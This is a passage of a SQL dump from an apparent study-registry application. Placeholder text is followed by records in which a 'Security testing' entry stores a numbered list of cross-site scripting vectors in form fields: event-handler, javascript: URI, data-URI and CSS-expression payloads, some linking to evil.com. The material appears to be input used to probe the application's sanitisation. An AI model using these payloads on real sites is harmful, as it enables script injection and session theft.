\\u0441\\u0435\\u043d\\u0442\\u0435\\u043d\\u0442\\u0438\\u0430\\u0435 \\u0443\\u0442. \\u041d\\u0443\\u043b\\u043b\\u0430\\u043c \\u0434\\u0435\\u043b\\u0438\\u0446\\u0430\\u0442\\u0430 \\u0442\\u0435 \\u0432\\u0438\\u043c, \\u0434\\u0443\\u043e \\u0435\\u0443 \\u0441\\u0438\\u043c\\u0443\\u043b \\u0443\\u0442\\u0440\\u043e\\u044f\\u0443\\u0435. \\u0426\\u043e\\u043d\\u0441\\u0443\\u043b \\u043e\\u0431\\u043b\\u0438\\u044f\\u0443\\u0435 \\u0434\\u0438\\u0441\\u043f\\u0443\\u0442\\u0430\\u043d\\u0434\\u043e \\u0443\\u0442 \\u0435\\u043e\\u0441. \\u0425\\u0438\\u0441 \\u0430\\u0442 \\u043f\\u0430\\u0440\\u0442\\u0438\\u0435\\u043d\\u0434\\u043e \\u0445\\u0435\\u043d\\u0434\\u0440\\u0435\\u0440\\u0438\\u0442 \\u0432\\u0438\\u0442\\u0443\\u043f\\u0435\\u0440\\u0430\\u0442\\u043e\\u0440\\u0438\\u0431\\u0443\\u0441, \\u044f\\u0443\\u043e \\u0435\\u0443 \\u043f\\u043e\\u0441\\u0441\\u0438\\u043c \\u0441\\u0446\\u0440\\u0438\\u0431\\u0435\\u043d\\u0442\\u0443\\u0440. \\u0423\\u0442 \\u0432\\u0435\\u043b \\u0442\\u0430\\u0446\\u0438\\u043c\\u0430\\u0442\\u0435\\u0441 \\u0440\\u0430\\u0442\\u0438\\u043e\\u043d\\u0438\\u0431\\u0443\\u0441, \\u0440\\u0435\\u0431\\u0443\\u043c \\u0441\\u0443\\u0441\\u0446\\u0438\\u043f\\u0438\\u0442 \\u0434\\u0443\\u043e \\u0435\\u0438. \\u0415\\u0440\\u043e\\u0441 \\u043b\\u0443\\u0434\\u0443\\u0441 \\u0445\\u0430\\u0441 \\u0435\\u0445. \\u0418\\u043d\\u0435\\u0440\\u043c\\u0438\\u0441 \\u0441\\u0443\\u0441\\u0446\\u0438\\u043f\\u0438\\u0442 \\u0435\\u0443 \\u0435\\u043e\\u0441. \\u0415\\u0443\\u043c \\u0430\\u0442 \\u0434\\u0438\\u0446\\u0438\\u0442 \\u0435\\u043b\\u0438\\u0442\\u0440, \\u043d\\u0430\\u043c \\u043e\\u0434\\u0438\\u043e \\u0444\\u0430\\u0446\\u0435\\u0440 \\u0435\\u0443. \\u0426\\u0443\\u043c \\u0430\\u043d \\u043c\\u0443\\u0442\\u0430\\u0442 \\u0443\\u0442\\u0430\\u043c\\u0443\\u0440. \\u0415\\u0445 \\u044f\\u0443\\u043e \\u0434\\u0435\\u0442\\u0440\\u0430\\u0446\\u0442\\u043e \\u0446\\u043e\\u043d\\u0441\\u0435\\u044f\\u0443\\u0443\\u043d\\u0442\\u0443\\u0440. \\u0410\\u043f\\u0435\\u0438\\u0440\\u0438\\u0430\\u043d \\u0440\\u0430\\u0442\\u0438\\u043e\\u043d\\u0438\\u0431\\u0443\\u0441 \\u0443\\u0442 \\u0435\\u043e\\u0441, \\u0432\\u0435\\u043b \\u043e\\u0440\\u0430\\u0442\\u0438\\u043e \\u0438\\u043d\\u0442\\u0435\\u0440\\u0435\\u0441\\u0441\\u0435\\u0442 \\u0438\\u0434. \\u0410\\u0434 \\u0432\\u0435\\u0440\\u0435\\u0430\\u0440 \\u043f\\u0435\\u0440\\u0442\\u0438\\u043d\\u0430\\u0445 \\u044f\\u0443\\u043e, \\u0438\\u043d \\u043c\\u0435\\u0438\\u0441 \\u0432\\u0438\\u0434\\u0438\\u0441\\u0441\\u0435 \\u043d\\u0435\\u0446\\u0435\\u0441\\u0441\\u0438\\u0442\\u0430\\u0442\\u0438\\u0431\\u0443\\u0441 \\u0441\\u0435\\u0430, \\u0430\\u0442 \\u043f\\u043e\\u0440\\u0440\\u043e \\u0442\\u0438\\u043c\\u0435\\u0430\\u043c \\u0434\\u0438\\u0433\\u043d\\u0438\\u0441\\u0441\\u0438\\u043c \\u0441\\u0438\\u0442. \\u0427\\u043e\\u0440\\u043e \\u0435\\u044f\\u0443\\u0438\\u0434\\u0435\\u043c \\u043b\\u0430\\u0431\\u043e\\u0440\\u0430\\u043c\\u0443\\u0441 \\u0430\\u0434 \\u0446\\u0443\\u043c. \\u0412\\u0438\\u0441 \\u0435\\u044f\\u0443\\u0438\\u0434\\u0435\\u043c \\u0430\\u0431\\u0445\\u043e\\u0440\\u0440\\u0435\\u0430\\u043d\\u0442 \\u0430\\u0442. \\u0422\\u0435 \\u044e\\u0441\\u0442\\u043e \\u043f\\u043e\\u0441\\u0441\\u0438\\u0442 \\u0441\\u0435\\u043d\\u0442\\u0435\\u043d\\u0442\\u0438\\u0430\\u0435 \\u0432\\u0438\\u0441, \\u0446\\u0443 \\u0441\\u0435\\u0430 \\u043d\\u043e\\u0431\\u0438\\u0441 \\u0430\\u0446\\u0446\\u0443\\u0441\\u0430\\u043c. \\u041c\\u0443\\u043d\\u0434\\u0438 \\u043c\\u0430\\u0438\\u0435\\u0441\\u0442\\u0430\\u0442\\u0438\\u0441 \\u0438\\u043d\\u0446\\u0438\\u0434\\u0435\\u0440\\u0438\\u043d\\u0442 \\u043c\\u0435\\u0430 \\u0435\\u0445. \\u0410\\u0434 \\u0438\\u0434\\u044f\\u0443\\u0435 \\u043f\\u0435\\u0440\\u0444\\u0435\\u0446\\u0442\\u043e \\u0445\\u0430\\u0441, \\u0430\\u0434 \\u0430\\u043b\\u0442\\u0435\\u0440\\u0430 \\u0445\\u0435\\u043d\\u0434\\u0440\\u0435\\u0440\\u0438\\u0442 \\u043f\\u0440\\u0438. \\u0421\\u0438\\u0442 \\u043f\\u0440\\u043e\\u043c\\u043f\\u0442\\u0430 \\u0434\\u0438\\u0446\\u0435\\u0440\\u0435\\u0442 \\u0446\\u0443. \\u041f\\u0435\\u0440 \\u043d\\u0435 \\u0447\\u043e\\u0440\\u043e \\u043f\\u043e\\u043f\\u0443\\u043b\\u043e, \\u0435\\u0438 \\u0435\\u0441\\u0442 \\u043b\\u0443\\u0434\\u0443\\u0441 \\u043c\\u0430\\u043b\\u043e\\u0440\\u0443\\u043c, \\u043f\\u0443\\u0442\\u0435\\u043d\\u0442 \\u043c\\u043e\\u043b\\u0435\\u0441\\u0442\\u0438\\u0435 \\u043f\\u043b\\u0430\\u0446\\u0435\\u0440\\u0430\\u0442 \\u043f\\u0440\\u0438 \\u0438\\u0434. \\u0423\\u0442 \\u043c\\u0435\\u0430 \\u0435\\u0440\\u0430\\u043d\\u0442 \\u043d\\u043e\\u043c\\u0438\\u043d\\u0430\\u0432\\u0438, \\u0438\\u043b\\u043b\\u0443\\u043c \\u043c\\u043e\\u043b\\u043b\\u0438\\u0441 \\u043f\\u0435\\u0440\\u0438\\u0446\\u0443\\u043b\\u0438\\u0441 \\u0443\\u0442 \\u0432\\u0438\\u0445. \\u0412\\u0438\\u0445 \\u043c\\u0435\\u043b\\u0438\\u0443\\u0441 \\u043c\\u0435\\u0434\\u0438\\u043e\\u0446\\u0440\\u0435\\u043c \\u0430\\u043d. \\u041f\\u043e\\u0441\\u0442\\u0435\\u0430 \\u0446\\u043e\\u0440\\u0440\\u0443\\u043c\\u043f\\u0438\\u0442 \\u044f\\u0443\\u043e \\u0438\\u043d, \\u0438\\u0443\\u0441 \\u043d\\u043e \\u043c\\u0435\\u0438\\u0441 \\u043c\\u0435\\u0434\\u0438\\u043e\\u0446\\u0440\\u0438\\u0442\\u0430\\u0442\\u0435\\u043c. \\u0421\\u0435\\u0430 \\u043d\\u043e\\u0432\\u0443\\u043c \\u0444\\u043e\\u0440\\u0435\\u043d\\u0441\\u0438\\u0431\\u0443\\u0441 \\u0438\\u0434, \\u0438\\u0443\\u0441 \\u0446\\u0443 \\u043c\\u0430\\u043d\\u0434\\u0430\\u043c\\u0443\\u0441 \\u0430\\u043f\\u043f\\u0435\\u043b\\u043b\\u0430\\u043d\\u0442\\u0443\\u0440. \\u041b\\u0430\\u043e\\u0440\\u0435\\u0435\\u0442 \\u043c\\u0435\\u043b\\u0438\\u043e\\u0440\\u0435 \\u0438\\u0443\\u0441 \\u0435\\u0438, \\u0434\\u0438\\u0446\\u0438\\u0442 \\u043f\\u0435\\u0440\\u0442\\u0438\\u043d\\u0430\\u0445 \\u0434\\u0438\\u0441\\u0441\\u0435\\u043d\\u0442\\u0438\\u0435\\u0442 \\u043d\\u0430\\u043c \\u0446\\u0443. \\u041f\\u0440\\u043e \\u0430\\u0434 \\u0432\\u0435\\u043b\\u0438\\u0442 \\u0441\\u0443\\u043c\\u043c\\u043e \\u0430\\u043d\\u0442\\u0438\\u043e\\u043f\\u0430\\u043c, \\u043f\\u0435\\u0440\\u043f\\u0435\\u0442\\u0443\\u0430 \\u0440\\u0435\\u0446\\u0442\\u0435\\u044f\\u0443\\u0435 \\u0434\\u0435\\u0442\\u0435\\u0440\\u0440\\u0443\\u0438\\u0441\\u0441\\u0435\\u0442 \\u0441\\u0438\\u0442 \\u0446\\u0443. \\u042f\\u0443\\u043e \\u0435\\u0443 \\u0438\\u0434\\u044f\\u0443\\u0435 \\u0443\\u0442\\u0430\\u043c\\u0443\\u0440, \\u0432\\u0438\\u043c \\u0444\\u0443\\u0433\\u0438\\u0442 \\u0446\\u0430\\u0443\\u0441\\u0430\\u0435 \\u0434\\u0435\\u0444\\u0438\\u043d\\u0438\\u0442\\u0438\\u043e\\u043d\\u0435\\u043c \\u0430\\u043d, \\u043f\\u0435\\u0440\\u0442\\u0438\\u043d\\u0430\\u0445 \\u0432\\u0438\\u0442\\u0443\\u043f\\u0435\\u0440\\u0430\\u0442\\u043e\\u0440\\u0438\\u0431\\u0443\\u0441 \\u043f\\u0440\\u043e \\u0446\\u0443. \\u0421\\u0435\\u0434 \\u0430\\u0434 \\u043c\\u0430\\u0433\\u043d\\u0430 \\u0443\\u0442\\u0440\\u043e\\u044f\\u0443\\u0435, \\u043f\\u0435\\u0440 \\u0430\\u043d \\u0437\\u0440\\u0438\\u043b \\u043b\\u0435\\u0433\\u0435\\u043d\\u0434\\u043e\\u0441 \\u0440\\u0430\\u0442\\u0438\\u043e\\u043d\\u0438\\u0431\\u0443\\u0441. \\u0426\\u0443 \\u0445\\u0430\\u0441 \\u0432\\u0438\\u0442\\u0430\\u0435 \\u043f\\u043e\\u043d\\u0434\\u0435\\u0440\\u0443\\u043c, \\u043d\\u0430\\u0442\\u0443\\u043c \\u0435\\u0445\\u0435\\u0440\\u0446\\u0438 \\u0432\\u0438\\u0442\\u0443\\u043f\\u0435\\u0440\\u0430\\u0442\\u043e\\u0440\\u0438\\u0431\\u0443\\u0441 \\u0441\\u0435\\u0430 \\u0442\\u0435, \\u0432\\u043e\\u0446\\u0438\\u0431\\u0443\\u0441 \\u0444\\u0435\\u0443\\u0433\\u0430\\u0438\\u0442 \\u043d\\u043e\\u0441\\u0442\\u0440\\u0443\\u043c \\u043d\\u0435 \\u0434\\u0443\\u043e. \\u0415\\u0445 \\u043f\\u0440\\u043e \\u0430\\u0443\\u0434\\u0438\\u0440\\u0435 \\u0434\\u0435\\u043b\\u0438\\u0446\\u0430\\u0442\\u0430 \\u0433\\u043b\\u043e\\u0440\\u0438\\u0430\\u0442\\u0443\\u0440, \\u0438\\u0443\\u0441 \\u043d\\u043e \\u0435\\u0440\\u0430\\u043d\\u0442 \\u0442\\u0435\\u043c\\u043f\\u043e\\u0440\\u0438\\u0431\\u0443\\u0441. \\u041c\\u0435\\u043b \\u0430\\u043d \\u0432\\u0438\\u0434\\u0438\\u0442 \\u043f\\u043e\\u0441\\u0441\\u0438\\u043c \\u0438\\u0443\\u0432\\u0430\\u0440\\u0435\\u0442, \\u0430\\u043b\\u0438\\u0438 \\u0434\\u043e\\u043b\\u043e\\u0440 \\u0444\\u0430\\u0441\\u0442\\u0438\\u0434\\u0438\\u0438 \\u0432\\u0435\\u043b \\u0430\\u0434.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8726,230,'study_arms','[{\"type\":\"intervention\",\"number\":\"21\",\"intervention\":\"Testing\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8727,230,'randomisation','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8728,230,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8729,230,'investigators_blinded_assessment','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8730,230,'placebo_controlled','\"not applicable\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8731,230,'original_animal_ethics_committee_application','\"www.metaxis.com\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8732,230,'application_number','\"191067 DOB\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8733,230,'link_to_data','\"Zendo\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8734,230,'has_embargo','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8735,230,'end_date','\"2023-03-21\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8736,232,'short_title','\"1.\\t&lt;form id=&quot;test&quot;&gt;&lt;\\/form&gt;&lt;button form=&quot;test&quot; formaction=&quot;javascript:alert(1)&quot;&gt;X&lt;\\/button&gt;\\n2.\\t&lt;input onfocus=write(1) autofocus&gt;\\n3.\\t&lt;input onblur=write(1) autofocus&gt;&lt;input autofocus&gt;\\n4.\\t&lt;video poster=javascript:alert(1)\\/\\/&gt;&lt;\\/video&gt;\\n5.\\t&lt;body onscroll=alert(1)&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;...&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;input autofocus&gt;\\n6.\\t&lt;form id=test onforminput=alert(1)&gt;&lt;input&gt;&lt;\\/form&gt;&lt;button form=test onformchange=alert(2)&gt;X&lt;\\/button&gt;\\n7.\\t&lt;video&gt;&lt;source onerror=&quot;alert(1)&quot;&gt;\\n8.\\t&lt;video onerror=&quot;alert(1)&quot;&gt;&lt;source&gt;&lt;\\/source&gt;&lt;\\/video&gt;\\n9.\\t&lt;form&gt;&lt;button formaction=&quot;javascript:alert(1)&quot;&gt;X&lt;\\/button&gt;\\n10.\\t&lt;body oninput=alert(1)&gt;&lt;input autofocus&gt;\\n11.\\t&lt;math href=&quot;javascript:alert(1)&quot;&gt;CLICKME&lt;\\/math&gt; &lt;math&gt; &lt;!-- up to FF 13 --&gt; &lt;maction actiontype=&quot;statusline#http:\\/\\/google.com&quot; xlink:href=&quot;javascript:alert(2)&quot;&gt;CLICKME&lt;\\/maction&gt; &lt;!-- FF 14+ --&gt; &lt;maction actiontype=&quot;statusline&quot; xlink:href=&quot;javascript:alert(3)&quot;&gt;CLICKME&lt;mtext&gt;http:\\/\\/http:\\/\\/google.com&lt;\\/mtext&gt;&lt;\\/maction&gt; &lt;\\/math&gt;\\n12.\\t&lt;form action=&quot;&quot; method=&quot;post&quot;&gt; &lt;input name=&quot;username&quot; value=&quot;admin&quot; \\/&gt; &lt;input name=&quot;password&quot; type=&quot;password&quot; value=&quot;secret&quot; \\/&gt; &lt;input name=&quot;injected&quot; value=&quot;injected&quot; dirname=&quot;password&quot; \\/&gt; &lt;input type=&quot;submit&quot;&gt; &lt;\\/form&gt;\\n13.\\t&lt;link rel=&quot;import&quot; href=&quot;test.svg&quot; \\/&gt;\\n14.\\t&lt;iframe srcdoc=&quot;&amp;lt;img src&amp;equals;x:x onerror&amp;equals;alert&amp;lpar;1&amp;rpar;&amp;gt;&quot; \\/&gt;\\n15.\\t&lt;picture&gt;&lt;source srcset=&quot;x&quot;&gt;&lt;img onerror=&quot;alert(1)&quot;&gt;&lt;\\/picture&gt; &lt;picture&gt;&lt;img srcset=&quot;x&quot; onerror=&quot;alert(1)&quot;&gt;&lt;\\/picture&gt; &lt;img srcset=&quot;,,,,,x&quot; onerror=&quot;alert(1)&quot;&gt;\\n16.\\t&lt;a href=&quot;\\/\\/evil.com&quot; target=&quot;_blank&quot; rel=&quot;noreferrer&quot;&gt;CLICK&lt;\\/a&gt; \\/\\/ window.opener will be null &lt;map&gt;&lt;area href=&quot;\\/\\/evil.com&quot; target=&quot;_blank&quot; rel=&quot;noreferrer&quot;&gt;CLICK&lt;\\/area&gt;&lt;\\/map&gt; \\/\\/ window.opener will be null &lt;svg&gt;&lt;a xlink:href=&quot;\\/\\/evil.com&quot; rel=&quot;noreferrer&quot;&gt;CLICK&lt;\\/a&gt;&lt;\\/svg&gt; \\/\\/ window.opener still works &lt;form action=&quot;\\/\\/evil.com&quot; target=&quot;_blank&quot; rel=&quot;noreferrer&quot;&gt;&lt;input type=&quot;submit&quot;&gt;&lt;\\/form&gt;\\/\\/ window.opener still works &lt;form id=&quot;test&quot; rel=&quot;noreferrer&quot;&gt;&lt;\\/form&gt;&lt;button form=&quot;test&quot; formtarget=&quot;_blank&quot; formaction=&quot;\\/\\/evil.com&quot;&gt;CLICKME&lt;\\/button&gt;\\/\\/ window.opener still works &lt;math href=&quot;\\/\\/evil.com&quot; xlink:show=&quot;new&quot; rel=&quot;noreferrer&quot;&gt;CLICKME&lt;\\/math&gt;\\/\\/ window.opener still works\\n17.\\t&lt;iframe srcdoc=&quot;&lt;svg onload=alert(1)&amp;nvgt;&quot;&gt;&lt;\\/iframe&gt; &lt;a href=&quot;javascript:&amp;apos;&lt;svg onload&amp;equals;alert&amp;lpar;1&amp;rpar;&amp;nvgt;&amp;apos;&quot;&gt;CLICK&lt;\\/a&gt;\\n18.\\t#Chrome, Opera, Safari and Edge &lt;div onfocus=&quot;alert(1)&quot; contenteditable tabindex=&quot;0&quot; id=&quot;xss&quot;&gt;&lt;\\/div&gt; &lt;div style=&quot;-webkit-user-modify:read-write&quot; onfocus=&quot;alert(1)&quot; id=&quot;xss&quot;&gt; &lt;div style=&quot;-webkit-user-modify:read-write-plaintext-only&quot; onfocus=&quot;alert(1)&quot; id=&quot;xss&quot;&gt; # Firefox &lt;div onbeforescriptexecute=&quot;alert(1)&quot;&gt;&lt;\\/div&gt; 1 #MSIE10\\/11 &amp; Edge &lt;div style=&quot;-ms-scroll-limit:1px;overflow:scroll;width:1px&quot; onscroll=&quot;alert(1)&quot;&gt; #MSIE10 &lt;div contenteditable onresize=&quot;alert(1)&quot;&gt;&lt;\\/div&gt; # MSIE11 &lt;div onactivate=&quot;alert(1)&quot; id=&quot;xss&quot; style=&quot;overflow:scroll&quot;&gt;&lt;\\/div&gt; &lt;div onfocus=&quot;alert(1)&quot; id=&quot;xss&quot; style=&quot;display:table&quot;&gt; &lt;div id=&quot;xss&quot; style=&quot;-ms-block-progression:bt&quot; onfocus=&quot;alert(1)&quot;&gt; &lt;div id=&quot;xss&quot; style=&quot;-ms-layout-flow:vertical-ideographic&quot; onfocus=&quot;alert(1)&quot;&gt; &lt;div id=&quot;xss&quot; style=&quot;float:left&quot; onfocus=&quot;alert(1)&quot;&gt; # Chrome, Opera, Safari &lt;style&gt;@keyframes x{}&lt;\\/style&gt; &lt;div style=&quot;animation-name:x&quot; onanimationstart=&quot;alert(1)&quot;&gt;&lt;\\/div&gt; # Chrome, Opera, Safari &lt;style&gt; div {width: 100px;} div:target {width: 200px;} &lt;\\/style&gt; &lt;div id=&quot;xss&quot; onwebkittransitionend=&quot;alert(1)&quot; style=&quot;-webkit-transition: width .1s;&quot;&gt;&lt;\\/div&gt; # Safari &lt;div style=&quot;overflow:-webkit-marquee&quot; onscroll=&quot;alert(1)&quot;&gt;&lt;\\/div&gt;\\n19.\\t&lt;details open ontoggle=&quot;alert(1)&quot;&gt;\\n20.\\t&lt;video src onratechange=&quot;alert(1)&quot;&gt;\\n21.\\t&lt;frameset onload=alert(1)&gt;\\n22.\\t&lt;table background=&quot;javascript:alert(1)&quot;&gt;&lt;\\/table&gt;\\n23.\\t&lt;!--&lt;img src=&quot;--&gt;&lt;img src=x onerror=alert(1)\\/\\/&quot;&gt;\\n24.\\t&lt;comment&gt;&lt;img src=&quot;&lt;\\/comment&gt;&lt;img src=x onerror=alert(1)\\/\\/&quot;&gt;\\n25.\\t&lt;!-- up to Opera 11.52, FF 3.6.28 --&gt; &lt;![&gt;&lt;img src=&quot;]&gt;&lt;img src=x onerror=alert(1)\\/\\/&quot;&gt; &lt;!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+ --&gt; &lt;svg&gt;&lt;![CDATA[&gt;&lt;image xlink:href=&quot;]]&gt;&lt;img src=xx:x onerror=alert(2)\\/\\/&quot;&gt;&lt;\\/svg&gt;\\n26.\\t&lt;style&gt;&lt;img src=&quot;&lt;\\/style&gt;&lt;img src=x onerror=alert(1)\\/\\/&quot;&gt;\\n27.\\t&lt;li style=list-style:url() onerror=alert(1)&gt;&lt;\\/li&gt; &lt;div style=content:url(data:image\\/svg+xml,%3Csvg\\/%3E);visibility:hidden onload=alert(1)&gt;&lt;\\/div&gt;\\n28.\\t&lt;head&gt;&lt;base href=&quot;javascript:\\/\\/&quot;\\/&gt;&lt;\\/head&gt;&lt;body&gt;&lt;a href=&quot;\\/. \\/,alert(1)\\/\\/#&quot;&gt;XXX&lt;\\/a&gt;&lt;\\/body&gt;\\n29.\\t FOR=document EVENT=onreadystatechange&gt;alert(1)\\n30.\\t&lt;OBJECT CLASSID=&quot;clsid:333C7BC4-460F-11D0-BC04-0080C7055A83&quot;&gt;&lt;PARAM NAME=&quot;DataURL&quot; VALUE=&quot;javascript:alert(1)&quot;&gt;&lt;\\/OBJECT&gt;\\n31.\\t&lt;object data=&quot;data:text\\/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==&quot;&gt;&lt;\\/object&gt;\\n32.\\t&lt;embed src=&quot;data:text\\/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==&quot;&gt;&lt;\\/embed&gt; &lt;embed src=&quot;javascript:alert(1)&quot;&gt;&lt;\\/embed&gt; \\/\\/ Firefox only\\n33.\\t&lt;b alert(1)\\/\\/0&lt;\\/b&gt;\\n34.\\t&lt;div id=&quot;div1&quot;&gt;&lt;input value=&quot;``onmouseover=alert(1)&quot;&gt;&lt;\\/div&gt; &lt;div id=&quot;div2&quot;&gt;&lt;\\/div&gt;document.getElementById(&quot;div2&quot;).innerHTML = document.getElementById(&quot;div1&quot;).innerHTML;\\n35.\\t&lt;!-- IE 6-8 --&gt; &lt;x \'=&quot;foo&quot;&gt;&lt;x foo=\'&gt;&lt;img src=x onerror=alert(1)\\/\\/\'&gt; &lt;!-- IE 6-9 --&gt; &lt;! \'=&quot;foo&quot;&gt;&lt;x foo=\'&gt;&lt;img src=x onerror=alert(2)\\/\\/\'&gt; &lt;? \'=&quot;foo&quot;&gt;&lt;x foo=\'&gt;&lt;img src=x onerror=alert(3)\\/\\/\'&gt;\\n36.\\t&lt;div style=width:1px;filter:glow onfilterchange=alert(1)&gt;x&lt;\\/div&gt;\\n37.\\t&lt;object allowscriptaccess=&quot;always&quot; data=&quot;test.swf&quot;&gt;&lt;\\/object&gt;\\n38.\\t[A] &lt;? foo=&quot;&gt;alert(1)&quot;&gt; &lt;! foo=&quot;&gt;alert(1)&quot;&gt; &lt;\\/ foo=&quot;&gt;alert(1)&quot;&gt; [B] &lt;? foo=&quot;&gt;&lt;x foo=\'?&gt;alert(1)\'&gt;&quot;&gt; [C] &lt;! foo=&quot;[[[x]]&quot;&gt;&lt;x foo=&quot;]foo&gt;alert(1)&quot;&gt; [D] &lt;% foo&gt;&lt;x foo=&quot;%&gt;alert(1)&quot;&gt;\\n39.\\t&lt;iframe src=mhtml:http:\\/\\/html5sec.org\\/test.html!xss.html&gt;&lt;\\/iframe&gt; &lt;iframe src=mhtml:http:\\/\\/html5sec.org\\/test.gif!xss.html&gt;&lt;\\/iframe&gt;\\n40.\\t&lt;!-- IE 5-9 --&gt; &lt;div id=d&gt;&lt;x xmlns=&quot;&gt;&lt;iframe onload=alert(1)&quot;&gt;&lt;\\/div&gt; d.innerHTML+=\'\'; &lt;!-- IE 10 in IE5-9 Standards mode --&gt; &lt;div id=d&gt;&lt;x xmlns=\'&quot;&gt;&lt;iframe onload=alert(2)\\/\\/\'&gt;&lt;\\/div&gt; d.innerHTML+=\'\';\\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8737,232,'title','\"Security testing - manual update\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8738,232,'other_financial_support','\"41.\\t&lt;img[a][b]src=x[d]onerror[c]=[e]&quot;alert(1)&quot;&gt;\\n42.\\t&lt;a href=&quot;[a]java[b]script[c]:alert(1)&quot;&gt;XXX&lt;\\/a&gt;\\n43.\\t&lt;img src=&quot;x` `alert(1)&quot;` `&gt;\\n44.\\t&lt;img src onerror \\/&quot; \'&quot;= alt=alert(1)\\/\\/&quot;&gt;\\n45.\\t&lt;title onpropertychange=alert(1)&gt;&lt;\\/title&gt;&lt;title title=&gt;&lt;\\/title&gt;\\n46.\\t&lt;!-- IE 5-8 standards mode --&gt; &lt;a href=http:\\/\\/foo.bar\\/#x=`y&gt;&lt;\\/a&gt;&lt;img alt=&quot;`&gt;&lt;img src=xx:x onerror=alert(1)&gt;&lt;\\/a&gt;&quot;&gt; &lt;!-- IE 5-9 standards mode --&gt; &lt;!a foo=x=`y&gt;&lt;img alt=&quot;`&gt;&lt;img src=xx:x onerror=alert(2)\\/\\/&quot;&gt; &lt;?a foo=x=`y&gt;&lt;img alt=&quot;`&gt;&lt;img src=xx:x onerror=alert(3)\\/\\/&quot;&gt;\\n47.\\t&lt;!--[if]&gt;alert(1) --&gt; &lt;!--[if&lt;img src=x onerror=alert(2)\\/\\/]&gt; --&gt;\\n48.\\t src=&quot;\\/\\\\example.com\\\\foo.js&quot;&gt; \\/\\/ Safari 5.0, Chrome 9, 10  src=&quot;\\\\\\\\example.com\\\\foo.js&quot;&gt; \\/\\/ Safari 5.0\\n49.\\t&lt;object id=&quot;x&quot; classid=&quot;clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598&quot;&gt;&lt;\\/object&gt; &lt;object classid=&quot;clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B&quot; onqt_error=&quot;alert(1)&quot; style=&quot;behavior:url(#x);&quot;&gt;&lt;param name=postdomevents \\/&gt;&lt;\\/object&gt;\\n50.\\t&lt;!-- `&lt;img\\/src=xx:xx onerror=alert(1)\\/\\/--!&gt;\\n51.\\t&lt;xmp&gt; &lt;% &lt;\\/xmp&gt; &lt;img alt=\'%&gt;&lt;\\/xmp&gt;&lt;img src=xx:x onerror=alert(1)\\/\\/\'&gt;  x=\'&lt;%\'  %&gt;\\/ alert(2)  XXX &lt;style&gt; *[\'&lt;!--\']{} &lt;\\/style&gt; --&gt;{} *{color:red}&lt;\\/style&gt;\\n52.\\t&lt;frameset onpageshow=&quot;alert(1)&quot;&gt; &lt;body onpageshow=&quot;alert(1)&quot;&gt;\\n53.\\t&lt;applet onerror=&quot;alert(1)&quot;&gt;&lt;\\/applet&gt;\\n54.\\t&lt;a style=&quot;-o-link:\'javascript:alert(1)\';-o-link-source:current&quot;&gt;X&lt;\\/a&gt;\\n55.\\t&lt;style&gt;p[foo=bar{}*{-o-link:\'javascript:alert(1)\'}{}*{-o-link-source:current}*{background:red}]{background:green};&lt;\\/style&gt;\\n56.\\t&lt;link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d\\n57.\\t&lt;style&gt;@import &quot;data:,*%7bx:expression(write(1))%7D&quot;;&lt;\\/style&gt;\\n58.\\t&lt;a style=&quot;pointer-events:none;position:absolute;&quot;&gt;&lt;a style=&quot;position:absolute;&quot; onclick=&quot;alert(1);&quot;&gt;XXX&lt;\\/a&gt;&lt;\\/a&gt;&lt;a href=&quot;javascript:alert(2)&quot;&gt;XXX&lt;\\/a&gt;\\n59.\\t&lt;style&gt;*[{}@import\'test.css?]{color: green;}&lt;\\/style&gt;X\\n60.\\t&lt;div style=&quot;font-family:\'foo[a];color:red;\';&quot;&gt;XXX&lt;\\/div&gt;\\n61.\\t&lt;div style=&quot;font-family:foo}color=red;&quot;&gt;XXX&lt;\\/div&gt;\\n62.\\t&lt;div style=&quot;[a]color[b]:[c]red&quot;&gt;XXX&lt;\\/div&gt;\\n63.\\t&lt;div style=&quot;\\\\63&amp;#9\\\\06f&amp;#10\\\\0006c&amp;#12\\\\00006F&amp;#13\\\\R:\\\\000072 Ed;color\\\\0\\\\bla:yellow\\\\0\\\\bla;col\\\\0\\\\00 \\\\&amp;#xA0or:blue;&quot;&gt;XXX&lt;\\/div&gt;\\n64.\\t&lt;\\/\\/ style=x:expression\\\\28write(1)\\\\29&gt;\\n65.\\t&lt;style&gt;*{x:\\uff45\\uff58\\uff50\\uff52\\uff45\\uff53\\uff53\\uff49\\uff4f\\uff4e(write(1))}&lt;\\/style&gt;\\n66.\\t&lt;!-- Up to Opera 10.63 --&gt; &lt;div style=content:url(test2.svg)&gt;&lt;\\/div&gt; &lt;!-- Up to Opera 11.64 - see link below --&gt; &lt;!-- Up to Opera 12.x --&gt; &lt;div style=&quot;background:url(test5.svg)&quot;&gt;PRESS ENTER&lt;\\/div&gt;\\n67.\\t&lt;div style=&quot;background:url(http:\\/\\/foo.f\\/f oo\\/;color:red\\/*\\/foo.jpg);&quot;&gt;X&lt;\\/div&gt;\\n68.\\t&lt;div style=&quot;list-style:url(http:\\/\\/foo.f)\\\\20url(javascript:alert(1));&quot;&gt;X&lt;\\/div&gt;\\n69.\\t&lt;div id=d&gt;&lt;div style=&quot;font-family:\'sans\\\\27\\\\2F\\\\2A\\\\22\\\\2A\\\\2F\\\\3B 